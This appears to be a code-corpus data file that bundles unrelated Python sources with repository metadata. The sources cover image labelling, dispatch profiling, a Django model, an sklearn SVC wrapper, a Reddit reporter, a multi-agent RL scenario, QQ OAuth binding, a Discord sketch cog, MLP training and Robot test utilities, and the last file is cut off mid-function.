#!/usr/bin/env python from os import walk from os.path import join, splitext from ntpath import basename def get_images_labels_list(images_dir_path): """ Recursively iterates through a directory and its subdirectories to list the info all the images found in it. Returns a list of dictionary where each dictionary contains `image_path` and `image_label`. """ images_labels_list = [] for (dirpath, dirnames, filenames) in walk(images_dir_path): for filename in filenames: image_path = join(dirpath, filename) image_label = splitext(basename(dirpath))[0] image_info = {} image_info['image_path'] = image_path image_info['image_label'] = image_label images_labels_list.append(image_info) return images_labels_list def write_images_labels_to_file(images_labels_list, output_file_path): """ Writes the list of images-labels to a file. """ with open(output_file_path, "w") as output_file: for image_info in images_labels_list: image_path = image_info['image_path'] image_label = image_info['image_label'] line = image_path + "\t" + image_label + '\n' output_file.write(line)
36.852941
112
0.676776
b718ae114d6a000b2b381425892ed83ec8453ccc
1,317
py
Python
profdispatch.py
morepath/reg
0ba834088c74f5478dd66e9eab771d1e09fbeb97
[ "BSD-3-Clause" ]
48
2015-01-10T02:32:25.000Z
2021-12-16T15:17:25.000Z
profdispatch.py
morepath/reg
0ba834088c74f5478dd66e9eab771d1e09fbeb97
[ "BSD-3-Clause" ]
42
2015-01-06T12:06:30.000Z
2021-04-05T12:41:33.000Z
profdispatch.py
morepath/reg
0ba834088c74f5478dd66e9eab771d1e09fbeb97
[ "BSD-3-Clause" ]
6
2015-05-28T07:02:04.000Z
2020-09-29T20:44:05.000Z
from cProfile import run from reg import dispatch from reg import LruCachingKeyLookup def get_key_lookup(r): return LruCachingKeyLookup( r, component_cache_size=5000, all_cache_size=5000, fallback_cache_size=5000, ) @dispatch(get_key_lookup=get_key_lookup) def args0(): raise NotImplementedError() @dispatch("a", get_key_lookup=get_key_lookup) def args1(a): raise NotImplementedError() @dispatch("a", "b", get_key_lookup=get_key_lookup) def args2(a, b): raise NotImplementedError() @dispatch("a", "b", "c", get_key_lookup=get_key_lookup) def args3(a, b, c): raise NotImplementedError() @dispatch("a", "b", "c", "d", get_key_lookup=get_key_lookup) def args4(a, b, c, d): raise NotImplementedError() class Foo: pass def myargs0(): return "args0" def myargs1(a): return "args1" def myargs2(a, b): return "args2" def myargs3(a, b, c): return "args3" def myargs4(a, b, c, d): return "args4" args0.register(myargs0) args1.register(myargs1, a=Foo) args2.register(myargs2, a=Foo, b=Foo) args3.register(myargs3, a=Foo, b=Foo, c=Foo) args4.register(myargs4, a=Foo, b=Foo, c=Foo, d=Foo) def repeat_args4(): for i in range(10000): args4(Foo(), Foo(), Foo(), Foo()) run("repeat_args4()", sort="tottime")
17.103896
60
0.671222
c4180077c94a1c9221fd49afd14c2fd6fa26a6f0
731
py
Python
apps/articles/models.py
Pavel1114/blogger
37e20d94b8d78d65d0a3ef7ce0f68cf71baf24fa
[ "MIT" ]
null
null
null
apps/articles/models.py
Pavel1114/blogger
37e20d94b8d78d65d0a3ef7ce0f68cf71baf24fa
[ "MIT" ]
null
null
null
apps/articles/models.py
Pavel1114/blogger
37e20d94b8d78d65d0a3ef7ce0f68cf71baf24fa
[ "MIT" ]
null
null
null
from django.db.models import SET_NULL, CharField, ForeignKey, ImageField, TextField from django.urls import reverse from model_utils.models import TimeStampedModel class Article(TimeStampedModel): title = CharField("Название", max_length=1000) text = TextField("Текст") image = ImageField("изображение", upload_to="articles/%Y/%m/") author = ForeignKey("users.User", verbose_name="автор", on_delete=SET_NULL, null=True, editable=False) class Meta: verbose_name = "статья" verbose_name_plural = "статьи" ordering = ["-created"] def __str__(self): return self.title def get_absolute_url(self): return reverse('articles:article_detail', kwargs={'pk': self.pk})
33.227273
106
0.704514
43cad4b8611d6a458b6df69e780e2b5bd2db5ff3
5,054
py
Python
autosklearn/pipeline/components/classification/liblinear_svc.py
FelixNeutatz/auto-sklearn
b5d141603332041475ed746aa1640334f5561aea
[ "BSD-3-Clause" ]
2
2020-02-22T15:00:49.000Z
2020-06-28T08:20:19.000Z
autosklearn/pipeline/components/classification/liblinear_svc.py
FelixNeutatz/auto-sklearn
b5d141603332041475ed746aa1640334f5561aea
[ "BSD-3-Clause" ]
null
null
null
autosklearn/pipeline/components/classification/liblinear_svc.py
FelixNeutatz/auto-sklearn
b5d141603332041475ed746aa1640334f5561aea
[ "BSD-3-Clause" ]
null
null
null
from ConfigSpace.configuration_space import ConfigurationSpace from ConfigSpace.hyperparameters import UniformFloatHyperparameter, \ CategoricalHyperparameter, Constant from ConfigSpace.forbidden import ForbiddenEqualsClause, \ ForbiddenAndConjunction from autosklearn.pipeline.components.base import AutoSklearnClassificationAlgorithm from autosklearn.pipeline.implementations.util import softmax from autosklearn.pipeline.constants import DENSE, UNSIGNED_DATA, PREDICTIONS, SPARSE from autosklearn.util.common import check_for_bool, check_none class LibLinear_SVC(AutoSklearnClassificationAlgorithm): # Liblinear is not deterministic as it uses a RNG inside def __init__(self, penalty, loss, dual, tol, C, multi_class, fit_intercept, intercept_scaling, class_weight=None, random_state=None): self.penalty = penalty self.loss = loss self.dual = dual self.tol = tol self.C = C self.multi_class = multi_class self.fit_intercept = fit_intercept self.intercept_scaling = intercept_scaling self.class_weight = class_weight self.random_state = random_state self.estimator = None def fit(self, X, Y): import sklearn.svm import sklearn.multiclass self.C = float(self.C) self.tol = float(self.tol) self.dual = check_for_bool(self.dual) self.fit_intercept = check_for_bool(self.fit_intercept) self.intercept_scaling = float(self.intercept_scaling) if check_none(self.class_weight): self.class_weight = None estimator = sklearn.svm.LinearSVC(penalty=self.penalty, loss=self.loss, dual=self.dual, tol=self.tol, C=self.C, class_weight=self.class_weight, fit_intercept=self.fit_intercept, intercept_scaling=self.intercept_scaling, multi_class=self.multi_class, random_state=self.random_state) if len(Y.shape) == 2 and Y.shape[1] > 1: self.estimator = sklearn.multiclass.OneVsRestClassifier(estimator, n_jobs=1) else: self.estimator = estimator self.estimator.fit(X, Y) return self def predict(self, X): if self.estimator is None: raise NotImplementedError() return self.estimator.predict(X) def predict_proba(self, X): if self.estimator is None: raise NotImplementedError() df = self.estimator.decision_function(X) return softmax(df) @staticmethod def get_properties(dataset_properties=None): return {'shortname': 'Liblinear-SVC', 'name': 'Liblinear Support Vector Classification', 'handles_regression': False, 'handles_classification': True, 'handles_multiclass': True, 'handles_multilabel': True, 'is_deterministic': False, 'input': (SPARSE, DENSE, UNSIGNED_DATA), 'output': (PREDICTIONS,)} @staticmethod def get_hyperparameter_search_space(dataset_properties=None): cs = ConfigurationSpace() penalty = CategoricalHyperparameter( "penalty", ["l1", "l2"], default_value="l2") loss = CategoricalHyperparameter( "loss", ["hinge", "squared_hinge"], default_value="squared_hinge") dual = Constant("dual", "False") # This is set ad-hoc tol = UniformFloatHyperparameter( "tol", 1e-5, 1e-1, default_value=1e-4, log=True) C = UniformFloatHyperparameter( "C", 0.03125, 32768, log=True, default_value=1.0) multi_class = Constant("multi_class", "ovr") # These are set ad-hoc fit_intercept = Constant("fit_intercept", "True") intercept_scaling = Constant("intercept_scaling", 1) cs.add_hyperparameters([penalty, loss, dual, tol, C, multi_class, fit_intercept, intercept_scaling]) penalty_and_loss = ForbiddenAndConjunction( ForbiddenEqualsClause(penalty, "l1"), ForbiddenEqualsClause(loss, "hinge") ) constant_penalty_and_loss = ForbiddenAndConjunction( ForbiddenEqualsClause(dual, "False"), ForbiddenEqualsClause(penalty, "l2"), ForbiddenEqualsClause(loss, "hinge") ) penalty_and_dual = ForbiddenAndConjunction( ForbiddenEqualsClause(dual, "False"), ForbiddenEqualsClause(penalty, "l1") ) cs.add_forbidden_clause(penalty_and_loss) cs.add_forbidden_clause(constant_penalty_and_loss) cs.add_forbidden_clause(penalty_and_dual) return cs
39.795276
88
0.611199
ce80da60e0dec7923295a60d598ed9f8bace9c7e
4,871
py
Python
reporter.py
ubiquill/infiltration-detection
687a64a0917a3f02eff9d7697cead247a0c933e0
[ "Unlicense" ]
2
2015-04-17T04:30:28.000Z
2015-04-17T21:03:45.000Z
reporter.py
ubiquill/infiltration-detection
687a64a0917a3f02eff9d7697cead247a0c933e0
[ "Unlicense" ]
null
null
null
reporter.py
ubiquill/infiltration-detection
687a64a0917a3f02eff9d7697cead247a0c933e0
[ "Unlicense" ]
null
null
null
try: from cStringIO import StringIO except: from StringIO import StringIO class UserReport: def __init__(self, user, suspicious_subs): self.first = True self.user = user self.suspicious_subs = suspicious_subs self.outString = None def __str__(self): return self.write() def write(self): if self.outString == None: self.output = StringIO() self._process_data() self.outString = self.output.getvalue() self.output.close() return self.outString def _process_data(self): data = {} post_dic = self.user.get_submitted().get_posts() comment_dic = self.user.get_comments().get_posts() for subreddit in sorted(post_dic, key=lambda k: len(post_dic[k]), reverse=True): if subreddit.lower() in self.suspicious_subs: if subreddit.lower() not in data: data[subreddit.lower()] = {} data[subreddit.lower()]['posts'] = self.user.submitted.get_subreddit_posts(subreddit) for subreddit in sorted(comment_dic, key=lambda k: len(comment_dic[k]), reverse=True): if subreddit.lower() in self.suspicious_subs: if subreddit.lower() not in data: data[subreddit.lower()] = {} data[subreddit.lower()]['comments'] = self.user.comments.get_subreddit_posts(subreddit) if len(data.keys()) < 1: self.output.write("User has not posted in monitored subreddits") return else: self.output.write("/u/%s " % self.user.username) self.output.write("post history contains participation in the ") self.output.write("following subreddits:\n\n") for subreddit in sorted(data, key=lambda k: ((0 if 'posts' not in data[k] else len(data[k]['posts'])), (0 if 'comments' not in data[k] else len(data[k]['comments']))), reverse=True): self._write_data(subreddit, data[subreddit]) self.output.write(".") def _write_data(self, subreddit, sub_data): prefix = "" if self.first: self.first = False else: prefix = ".\n\n" self.output.write("%s/r/%s: " % (prefix, subreddit)) if 'posts' in sub_data: self._write_post_data(sub_data['posts']) if 'comments' in sub_data: if 'posts' in sub_data: self.output.write("; ") self._write_comment_data(subreddit, sub_data['comments']) def _write_post_data(self, posts): if len(posts) < 1: return elif len(posts) == 1: score = posts[0].score link = posts[0].permalink link = link.replace("http://www.", "http://np.") self.output.write("%d post ([1](%s)), **total score: %d**" % (len(posts), link, score)) elif len(posts) > 1: score = 0 self.output.write("%d posts (" % (len(posts))) for post_counter in range(0, len(posts)): prefix = "" if post_counter == 0 else ", " # limit due to a limit in reddit comment character length if post_counter < 8: link = posts[post_counter].permalink link = link.replace("http://www.", "http://np.") self.output.write("%s[%d](%s)" % (prefix, post_counter + 1, link)) score += posts[post_counter].score self.output.write("), **total score: %d**" % (score)) def _write_comment_data(self, subreddit, comments): if len(comments) < 1: return elif len(comments) == 1: score = comments[0].score permalink = "http://www.reddit.com/r/%s/comments/%s/_/%s" % (subreddit, comments[0].link_id[3:], comments[0].id) link = permalink.replace("http://www.", "http://np.") self.output.write("%d comment ([1](%s))" % (len(comments), link)) self.output.write(", **total score: %d**" % score) elif len(comments) > 1: score = 0 self.output.write("%d comments (" % len(comments)) # loop through each of these comments for comment_counter in range(0, len(comments)): score += comments[comment_counter].score permalink = "http://www.reddit.com/r/%s/comments/%s/_/%s" % (subreddit, comments[comment_counter].link_id[3:], comments[comment_counter].id) link = permalink.replace("http://www.", "http://np.") prefix = "" if comment_counter == 0 else ", " if comment_counter < 8: self.output.write("%s[%d](%s)" % (prefix, comment_counter + 1, link)) self.output.write("), **combined score: %d**" % score)
39.601626
194
0.552864
7b72fd0b01526189ee9750690c5d5ba61691ce85
6,206
py
Python
code/multiagent/scenarios/simple_tag_1v1.py
rahul-dhavalikar/dqn-predator-prey-dynamics
58c26d71c87bcfaaf729d1f710b9c4458ca4f473
[ "MIT" ]
1
2021-12-15T10:58:09.000Z
2021-12-15T10:58:09.000Z
code/multiagent/scenarios/simple_tag_1v1.py
rahul-dhavalikar/dqn-predator-prey-dynamics
58c26d71c87bcfaaf729d1f710b9c4458ca4f473
[ "MIT" ]
null
null
null
code/multiagent/scenarios/simple_tag_1v1.py
rahul-dhavalikar/dqn-predator-prey-dynamics
58c26d71c87bcfaaf729d1f710b9c4458ca4f473
[ "MIT" ]
2
2018-10-04T02:39:23.000Z
2021-12-15T10:59:16.000Z
import numpy as np from multiagent.core import World, Agent, Landmark from multiagent.scenario import BaseScenario class Scenario(BaseScenario): def make_world(self): world = World() # set any world properties first world.dim_c = 2 num_good_agents = 1 num_adversaries = 1 num_agents = num_adversaries + num_good_agents num_landmarks = 0 # add agents world.agents = [Agent() for i in range(num_agents)] for i, agent in enumerate(world.agents): agent.name = 'agent %d' % i agent.collide = True agent.silent = True agent.adversary = True if i < num_adversaries else False agent.size = 0.075 if agent.adversary else 0.05 agent.accel = 3.0 if agent.adversary else 4.0 #agent.accel = 20.0 if agent.adversary else 25.0 agent.max_speed = 1.0 if agent.adversary else 1.3 # add landmarks world.landmarks = [Landmark() for i in range(num_landmarks)] for i, landmark in enumerate(world.landmarks): landmark.name = 'landmark %d' % i landmark.collide = True landmark.movable = False landmark.size = 0.11 landmark.boundary = False # make initial conditions self.reset_world(world) return world def reset_world(self, world): # random properties for agents for i, agent in enumerate(world.agents): agent.color = np.array( [0.35, 0.85, 0.35]) if not agent.adversary else np.array([0.85, 0.35, 0.35]) # random properties for landmarks for i, landmark in enumerate(world.landmarks): landmark.color = np.array([0.25, 0.25, 0.25]) # set random initial states for agent in world.agents: agent.state.p_pos = np.random.uniform(-1, +1, world.dim_p) agent.state.p_vel = np.zeros(world.dim_p) agent.state.c = np.zeros(world.dim_c) for i, landmark in enumerate(world.landmarks): if not landmark.boundary: landmark.state.p_pos = np.random.uniform( -0.9, +0.9, world.dim_p) landmark.state.p_vel = np.zeros(world.dim_p) def benchmark_data(self, agent, world): # returns data for benchmarking purposes if agent.adversary: collisions = 0 for a in self.good_agents(world): if self.is_collision(a, agent): collisions += 1 return collisions else: return 0 def is_collision(self, agent1, agent2): delta_pos = agent1.state.p_pos - agent2.state.p_pos dist = np.sqrt(np.sum(np.square(delta_pos))) dist_min = agent1.size + agent2.size return True if dist < dist_min else False # return all agents that are not adversaries def good_agents(self, world): return [agent for agent in world.agents if not agent.adversary] # return all adversarial agents def adversaries(self, world): return [agent for agent in world.agents if agent.adversary] def reward(self, agent, world): # Agents are rewarded based on minimum agent distance to each landmark main_reward = self.adversary_reward( agent, world) if agent.adversary else self.agent_reward(agent, world) return main_reward def agent_reward(self, agent, world): # Agents are negatively rewarded if caught by adversaries rew = 0 shape = True adversaries = self.adversaries(world) # reward can optionally be shaped (increased reward for increased # distance from adversary) if shape: for adv in adversaries: rew += 0.1 * \ np.sqrt(np.sum(np.square(agent.state.p_pos - adv.state.p_pos))) if agent.collide: for a in adversaries: if self.is_collision(a, agent): rew -= 100 # agents are penalized for exiting the screen, so that they can be # caught by the adversaries def bound(x): if x < 0.9: return 0 if x < 1.0: return (x - 0.9) * 10 return min(np.exp(2 * x - 2), 10) for p in range(world.dim_p): x = abs(agent.state.p_pos[p]) rew -= bound(x) return rew def adversary_reward(self, agent, world): # Adversaries are rewarded for collisions with agents rew = 0 shape = True agents = self.good_agents(world) adversaries = self.adversaries(world) # reward can optionally be shaped (decreased reward for increased # distance from agents) if shape: for adv in adversaries: rew -= 0.1 * \ min([np.sqrt(np.sum(np.square(a.state.p_pos - adv.state.p_pos))) for a in agents]) if agent.collide: for ag in agents: for adv in adversaries: if self.is_collision(ag, adv): rew += 100 return rew def observation(self, agent, world): # get positions of all entities in this agent's reference frame entity_pos = [] for entity in world.landmarks: if not entity.boundary: entity_pos.append(entity.state.p_pos - agent.state.p_pos) # communication of all other agents comm = [] other_pos = [] other_vel = [] for other in world.agents: if other is agent: continue comm.append(other.state.c) other_pos.append(other.state.p_pos - agent.state.p_pos) if not other.adversary: other_vel.append(other.state.p_vel) return np.concatenate([agent.state.p_vel] + [agent.state.p_pos] + entity_pos + other_pos + other_vel) def done(self, agent, world): for p in range(world.dim_p): x = abs(agent.state.p_pos[p]) if (x > 1.0): return True return False
37.841463
109
0.573638
b2a47ed1a0312af5e9062703589654adce7be82f
3,034
py
Python
meiduo_29/meiduo_29/apps/oauth/serializers.py
Adolph-Anthony/Django_meiduo-shopping-mall
4437ad1b9ed99ab9447b41406535fbfe2d0fa53c
[ "MIT" ]
null
null
null
meiduo_29/meiduo_29/apps/oauth/serializers.py
Adolph-Anthony/Django_meiduo-shopping-mall
4437ad1b9ed99ab9447b41406535fbfe2d0fa53c
[ "MIT" ]
null
null
null
meiduo_29/meiduo_29/apps/oauth/serializers.py
Adolph-Anthony/Django_meiduo-shopping-mall
4437ad1b9ed99ab9447b41406535fbfe2d0fa53c
[ "MIT" ]
null
null
null
from django_redis import get_redis_connection from rest_framework import serializers from rest_framework_jwt.settings import api_settings from users.models import User from .utils import OAuthQQ from .models import OAuthQQUser class OAuthQQUserSerializer(serializers.ModelSerializer): ''' QQ登录绑定用户 ''' sms_code = serializers.CharField(label='短信验证码',write_only=True) access_token = serializers.CharField(label='操作凭证',write_only=True) token=serializers.CharField(read_only=True) mobile = serializers.RegexField(label='手机号', regex=r'^1[3-9]\d{9}$') # password = serializers.CharField(label='密码', max_length=20, min_length=8) class Meta: model=User fields=('mobile','password','sms_code','access_token','id','username','token') extra_kwargs={ 'username':{ 'read_only':True }, 'password': { 'write_only': True, 'min_length': 8, 'max_length': 20, 'error_messages': { 'min_length': '仅允许8-20个字符的密码', 'max_length': '仅允许8-20个字符的密码', } } } # 校验数据 def validate(self,attrs): # 检验access_token access_token = attrs['access_token'] openid = OAuthQQ.check_bind_user_access(access_token) if not openid: raise serializers.ValidationError('无效的access_token') attrs['openid'] = openid # 检验短信验证码 mobile = attrs['mobile'] sms_code = attrs['sms_code'] # 连接redis verify_codes数据库 redis_conn = get_redis_connection('verify_code') real_sms_code = redis_conn.get('sms_%s' % mobile) if real_sms_code.decode() != sms_code: raise serializers.ValidationError('短信验证码错误') # 如果用户存在,检查用户密码 try: user = User.objects.get(mobile=mobile) except User.DoesNotExist: pass else: # 判断用户是否被绑定过 if OAuthQQUser.objects.get(user_id=user.id): raise serializers.ValidationError('账号已绑定') password = attrs['password'] if not user.check_password(password): raise serializers.ValidationError('密码错误') attrs['user'] = user return attrs def create(self,validated_data): openid=validated_data['openid'] user=validated_data.get('user') mobile=validated_data['mobile'] password=validated_data['password'] # 判断用户是否存在 if not user: # 如果不存在,绑定 创建OAuthQQUser数据 user=User.objects.create_user(username=mobile,mobile=mobile,password=password) OAuthQQUser.objects.create(user=user,openid=openid) # 签发JWT_token jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER payload = jwt_payload_handler(user) token = jwt_encode_handler(payload) user.token = token return user
33.711111
90
0.614041
ebd2c853428dc5c72d2d6b84a3e5d7e2f29e500b
2,890
py
Python
sketch/sketch.py
jack1142/GrandeCogs-V3
3a92096c96c98abe5d34998b00dea4967a30647f
[ "MIT" ]
3
2018-06-09T21:56:58.000Z
2018-08-26T01:34:55.000Z
sketch/sketch.py
jack1142/GrandeCogs-V3
3a92096c96c98abe5d34998b00dea4967a30647f
[ "MIT" ]
4
2018-10-06T16:37:57.000Z
2020-12-01T14:16:11.000Z
sketch/sketch.py
jack1142/GrandeCogs-V3
3a92096c96c98abe5d34998b00dea4967a30647f
[ "MIT" ]
8
2018-08-26T01:29:41.000Z
2020-01-17T16:06:31.000Z
import discord, base64, re from redbot.core import checks, commands from redbot.core import Config from redbot.core.data_manager import bundled_data_path from PIL import Image, ImageDraw from io import BytesIO BaseCog = getattr(commands, "Cog", object) class Sketch(BaseCog): def __init__(self,bot): self.bot = bot self.config = Config.get_conf(self, identifier=3715378133574, force_registration=True) default_user = { "image_data": False, "coords": (0, 0), } self.config.register_user(**default_user) @commands.group() async def sketch(self, ctx): """Sketch""" pass @sketch.command() async def view(self, ctx): """View your Sketch""" sketch = await self.config.user(ctx.author).image_data() if sketch == False: sketch = bundled_data_path(self) / "sketch.png" else: sketch = BytesIO(base64.b64decode(sketch)) await ctx.send(file=discord.File(sketch, "sketch.png")) @sketch.command() async def draw(self, ctx, x_coord, y_coord, colour="#000000", width=1): """Draw your Sketch""" hex_match = re.search(r"^#(?:[0-9a-fA-F]{3}){1,2}$", colour) if not hex_match: await ctx.send("Please use a valid hex colour.") return new_coords = (int(x_coord), int(y_coord)) await self._make_line(ctx.author, new_coords, colour, width) img = await self.config.user(ctx.author).image_data() img = BytesIO(base64.b64decode(img)) await ctx.send(file=discord.File(img, "sketch.png")) @sketch.command() async def reset(self, ctx): """Reset your Sketch""" await self.config.user(ctx.author).image_data.set(False) await self.config.user(ctx.author).coords.set(False) await ctx.send("Your personal Sketch has been reset!") async def _make_line(self, author, new_coords, colour, width): sketch = await self.config.user(author).image_data() if sketch == False: sketch = bundled_data_path(self) / "sketch.png" else: sketch = BytesIO(base64.b64decode(sketch)) im = Image.open(sketch) old_coords = await self.config.user(author).coords() hex = colour.replace("#", "") colour = tuple(int(hex[i:i + 2], 16) for i in (0, 2, 4)) + (255,) canvas = Image.new('RGBA', (600, 400), (255, 0, 0, 0)) draw = ImageDraw.Draw(canvas) if width != 0: draw.line([old_coords, new_coords], fill=colour, width=width) im.paste(canvas, (100, 100), mask=canvas) img = BytesIO() im.save(img, "png") img.seek(0) await self.config.user(author).image_data.set(base64.b64encode(img.read()).decode()) await self.config.user(author).coords.set(new_coords) return
35.243902
94
0.608997
b4da5739cc2e9098d28fae1b899ac67e0e4f633d
3,393
py
Python
train_with_manifold/train_mlp.py
CarolMazini/Manifold-Learning-for-Real-World-Event-Understanding
36151165f0ce23c168b893a9e916023b34630cf3
[ "MIT" ]
null
null
null
train_with_manifold/train_mlp.py
CarolMazini/Manifold-Learning-for-Real-World-Event-Understanding
36151165f0ce23c168b893a9e916023b34630cf3
[ "MIT" ]
null
null
null
train_with_manifold/train_mlp.py
CarolMazini/Manifold-Learning-for-Real-World-Event-Understanding
36151165f0ce23c168b893a9e916023b34630cf3
[ "MIT" ]
null
null
null
from sklearn.neural_network import MLPClassifier from sklearn.model_selection import train_test_split import numpy as np import random import time import argparse ##################################MAIN##################################### if __name__ == '__main__': parser = argparse.ArgumentParser(description='Training MLP classifier with combined features.') parser.add_argument('--dataset', dest='dataset', type=str,help='include the name of the dataset to extract image features',default='bombing') parser.add_argument('--method', dest='method', type=str,help='type of train combination: contrastive or triplet',default='triplet') parser.add_argument('--aug', dest='aug', type=str,help='include _aug to use augmented data', default='') args = parser.parse_args() dataset = args.dataset #'wedding', 'fire', 'bombing', 'museu_nacional' or 'bangladesh_fire' aug=args.aug method = args.method random.seed(a=0) def compute_normalized_accuracy(y_true, y_pred): correct_pos = 0 correct_neg = 0 incorrect_pos = 0 incorrect_neg = 0 total_pos = np.sum(y_true) total_neg = len(y_true) - total_pos for i in range(len(y_pred)): if y_true[i] == 1: if y_pred[i] == 1: correct_pos+=1 else: incorrect_pos+=1 else: if y_pred[i] == 0: correct_neg+=1 else: incorrect_neg+=1 norm_acc = (correct_pos/total_pos + correct_neg/total_neg)/2.0 precision = correct_pos/(correct_pos+incorrect_neg) recall = correct_pos/total_pos print('correct pos: ', correct_pos) print('correct neg: ', correct_neg) print('incorrect pos: ', incorrect_pos) print('incorrect pos: ', incorrect_neg) return norm_acc,precision,recall X_train_positive = np.load('../out_files/features/'+method+'/'+dataset+'/1024_512_positive_'+dataset+aug+'_train.npy') X_train_negative = np.load('../out_files/features/'+method+'/'+dataset+'/1024_512_negative_'+dataset+aug+'_train.npy') Y_train_positive = np.ones(len(X_train_positive)) Y_train_negative = np.zeros(len(X_train_negative)) X_train = np.concatenate([X_train_positive, X_train_negative], axis=0) Y_train = np.concatenate([Y_train_positive, Y_train_negative], axis=0) print(X_train.shape) total_train = len(X_train) sampled_list = random.sample(range(total_train), total_train) X_train = X_train[sampled_list,:] Y_train = Y_train[sampled_list] X_test_positive = np.load('../out_files/features/'+method+'/'+dataset+'/1024_512_positive_'+dataset+aug+'_test.npy') X_test_negative = np.load('../out_files/features/'+method+'/'+dataset+'/1024_512_negative_'+dataset+aug+'_test.npy') Y_test_positive = np.ones(len(X_test_positive)) Y_test_negative = np.zeros(len(X_test_negative)) X_test = np.concatenate([X_test_positive, X_test_negative], axis=0) Y_test = np.concatenate([Y_test_positive, Y_test_negative], axis=0) print('Total pos: ', X_test_positive.shape) print('Total neg: ', len(X_test_negative)) start_time = time.time() clf = MLPClassifier(hidden_layer_sizes = (64,),random_state=1, max_iter=1000, activation = 'tanh', learning_rate = 'adaptive').fit(X_train, Y_train) y_pred =clf.predict(X_test) #classe print("--- %s seconds ---" % (time.time() - start_time)) norm_acc,precision,recall = compute_normalized_accuracy(Y_test, y_pred) print('Norm Acc: ', norm_acc) print('Precision: ', precision) print('Recall: ', recall)
32.009434
149
0.714412
cdbd5f0d9f375d91b92b86c1a1fb2faef1528ffe
11,332
py
Python
legion/robot/legion/robot/libraries/utils.py
legion-platform/legion
db3a1d99f1005cb881b16af6075a806725123031
[ "ECL-2.0", "Apache-2.0" ]
19
2018-05-20T17:06:55.000Z
2022-01-04T14:15:09.000Z
legion/robot/legion/robot/libraries/utils.py
legion-platform/legion
db3a1d99f1005cb881b16af6075a806725123031
[ "ECL-2.0", "Apache-2.0" ]
917
2018-05-18T18:54:54.000Z
2021-09-01T10:41:56.000Z
legion/robot/legion/robot/libraries/utils.py
legion-platform/legion
db3a1d99f1005cb881b16af6075a806725123031
[ "ECL-2.0", "Apache-2.0" ]
13
2018-07-23T18:09:51.000Z
2019-08-05T15:37:30.000Z
# # Copyright 2017 EPAM Systems # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ Robot test library - utils """ import datetime import socket import time import json import requests from legion.robot.libraries.auth_client import get_authorization_headers class Utils: """ Utilities for robot tests """ @staticmethod def request_as_authorized_user(service_url): """ Request resource as authorized user :param service_url: target URL :type service_url: str :return: final response - Response """ return requests.get(service_url, headers=get_authorization_headers()) @staticmethod def request_as_unauthorized_user(service_url): """ Request resource as authorized user :param service_url: target URL :type service_url: str :return: final response - Response """ return requests.get(service_url) @staticmethod def check_domain_exists(domain): """ Check that domain (DNS name) has been registered :param domain: domain name (A record) :type domain: str :raises: Exception :return: None """ try: return socket.gethostbyname(domain) except socket.gaierror as exception: if exception.errno == -2: raise Exception('Unknown domain name: {}'.format(domain)) else: raise @staticmethod def check_remote_file_exists(url, login=None, password=None): """ Check that remote file exists (through HTTP/HTTPS) :param url: remote file URL :type url: str :param login: login :type login: str or None :param password: password :type password: str or None :raises: Exception :return: None """ credentials = None if login and password: credentials = login, password response = requests.get(url, stream=True, verify=False, auth=credentials) if response.status_code >= 400 or response.status_code < 200: raise Exception('Returned wrong status code: {}'.format(response.status_code)) response.close() @staticmethod def sum_up(*values): """ Sum up arguments :param values: Values to sum up :type values: int[] :return: Sum :rtype: int """ result = 0 for value in values: result += value return result @staticmethod def subtract(minuend, *values): """ Subtract arguments from minuend :param minuend: A Minuend :type minuend: int :param values: Values to subtract from minuend :type values: int[] :rtype: int """ result = minuend for value in values: result -= value return result @staticmethod def parse_edi_inspect_columns_info(edi_output): """ Parse EDI inspect output :param edi_output: EDI stdout :type edi_output: str :return: list[list[str]] -- parsed EDI output """ lines = edi_output.splitlines() if len(lines) < 2: return [] return [[item.strip() for item in line.split('|') if item] for line in lines[1:]] @staticmethod def find_model_information_in_edi(parsed_edi_output, model_name): """ Get specific model EDI output :param parsed_edi_output: parsed EDI output :type parsed_edi_output: list[list[str]] :param model_name: model deployment name :type model_name: str :return: list[str] -- parsed EDI output for specific model """ founded = [info for info in parsed_edi_output if info[0] == model_name] if not founded: raise Exception(f'Info about model {model_name} not found') return founded[0] @staticmethod def check_valid_http_response(url, token=None): """ Check if model return valid code for get request :param url: url with model_name for checking :type url: str :param token: token for the authorization :type token: str :return: str -- response text """ tries = 6 error = None for i in range(tries): try: if token: headers = {"Authorization": "Bearer {}".format(token)} response = requests.get(url, timeout=10, headers=headers) else: response = requests.get(url, timeout=10) if response.status_code == 200: return response.text elif i >= 5: raise Exception('Returned wrong status code: {}'.format(response.status_code)) elif response.status_code >= 400 or response.status_code < 200: print('Response code = {}, sleep and try again'.format(response.status_code)) time.sleep(3) except requests.exceptions.Timeout as e: error = e time.sleep(3) if error: raise error else: raise Exception('Unexpected case happen!') @staticmethod def execute_post_request_as_authorized_user(url, data=None, json_data=None): """ Execute post request as authorized user :param url: url for request :type url: str :param data: data to send in request :type data: dict :param json_data: json data to send in request :type json_data: dict :return: str -- response text """ response = requests.post(url, json=json_data, data=data, headers=get_authorization_headers()) return {"text": response.text, "code": response.status_code} @staticmethod def get_component_auth_page(url, token=None): """ Get component main auth page :param url: component url :type url: str :param token: token for the authorization :type url: str :return: response_code and response_text :rtype: dict """ if token: headers = {"Authorization": "Bearer {}".format(token)} response = requests.get(url, timeout=10, headers=headers) else: response = requests.get(url, timeout=10) return {"response_code": response.status_code, "response_text": response.text} @staticmethod def parse_json_string(string): """ Parse JSON string :param string: JSON string :type string: str :return: dict -- object """ return json.loads(string) @staticmethod def get_current_time(time_template): """ Get templated time :param time_template: time template :type time_template: str :return: None or str -- time from template """ return datetime.datetime.utcnow().strftime(time_template) @staticmethod def get_future_time(offset, time_template): """ Get templated time on `offset` seconds in future :param offset: time offset from current time in seconds :type offset: int :param time_template: time template :type time_template: str :return: str -- time from template """ return (datetime.datetime.utcnow() + datetime.timedelta(seconds=offset)).strftime(time_template) @staticmethod def reformat_time(time_str, initial_format, target_format): """ Convert date/time string from initial_format to target_format :param time_str: date/time string :type time_str: str :param initial_format: initial format of date/time string :type initial_format: str :param target_format: format to convert date/time object to :type target_format: str :return: str -- date/time string according to target_format """ datetime_obj = datetime.datetime.strptime(time_str, initial_format) return 